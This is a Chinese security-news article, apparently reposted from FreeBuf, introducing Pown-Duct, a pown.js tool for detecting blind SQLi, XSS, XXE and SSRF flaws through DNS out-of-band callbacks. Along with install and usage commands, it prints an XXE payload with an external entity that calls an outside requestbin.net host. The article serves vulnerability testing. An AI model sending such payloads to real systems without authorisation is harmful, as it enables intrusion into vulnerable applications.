前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Pown-Duct:一款功能强大的盲注攻击检测工具

Pown-Duct:一款功能强大的盲注攻击检测工具

作者头像
FB客服
发布2019-08-16 11:36:49
5840
发布2019-08-16 11:36:49
举报
文章被收录于专栏:FreeBufFreeBuf

今天给大家介绍的是一款名叫Pown-Duct的工具,该工具基于DNS测信道实现其功能,广大研究人员可以利用Pown-Duct来有效检测盲注攻击向量。

注意事项

该工具利是secapps.com开源计划的一部分。

该工具利用了http://requestbin.net/服务,之后的版本还将引入专用的自定义构建框架。

快速开始

该工具必须作为Pown.js的一部分来使用,但是也可以将其作为单独工具来调用。

请先使用下列命令安装Pown:

代码语言:javascript
复制
$ npm install -g pown@latest

从Pown直接调用:

代码语言:javascript
复制
$ pown duct

当然了,你也可以直接在项目根目录本地安装这个模块:

代码语言:javascript
复制
$ npm install @pown/duct –save

完成之后,调用pown命令行工具:

代码语言:javascript
复制
$ ./node_modules/.bin/pown-cli duct

你也可以使用全局pown来调用本地工具:

代码语言:javascript
复制
$POWN_ROOT=. pown duct

工具使用

代码语言:javascript
复制
pown duct <command>
Side-channelattack enabler
Commands:
  pown duct dns DNS ducting
Options:
  --version Show version number  [boolean]
  --help    Show help  [boolean]

Pown-Duct DNS

代码语言:javascript
复制
pown duct dns
DNS ducting
Options:
  --version Show version number  [boolean]
  --help    Show help  [boolean]
  --channel Restore channel  [string]
  --output  Output format  [string] [choices:"string", "hexdump", "json"] [default:"string"]

工具指南

在某些情况下,我们需要执行类似SQL注入、XSS、XXE或SSRF这样的攻击,但目标应用程序却没有“表现”出任何容易受到攻击的特征。因此,为了确定目标应用程序是否存在漏洞,并尝试注入有效的攻击向量,我们可以强制让DNS解析程序去请求控制域。如果解析成功,那么攻击就有可能实现了。

如果大家了解或者熟悉Burp Collaborator的话,可能就秒懂了,Pown-Duct提供的也是类似的功能。

首先,我们需要提供一个用于解析的一次性DNS域名:

代码语言:javascript
复制
$ pown duct dns

使用提供的DNS来构成我们的Payload。比如说,如果目标应用程序存在XXE漏洞的话,下列代码将会触发DNS解析操作:

代码语言:javascript
复制
<!DOCTYPE foo [
<!ELEMENTfoo ANY>
<!ENTITYbar SYSTEM"http://showmethemoney.bfa8b8d3c25f09d5429f.d.requestbin.net">
]>
<foo>
&bar;
</foo>

如果攻击成功,我们将会看到类似如下图所示的终端信息:

项目地址

Pown-Duck https://github.com/pownjs/pown-duct

*参考来源:pownjs,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-08-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 注意事项
  • 快速开始
  • 工具使用
  • 工具指南
    • 项目地址
    相关产品与服务
    命令行工具
    腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档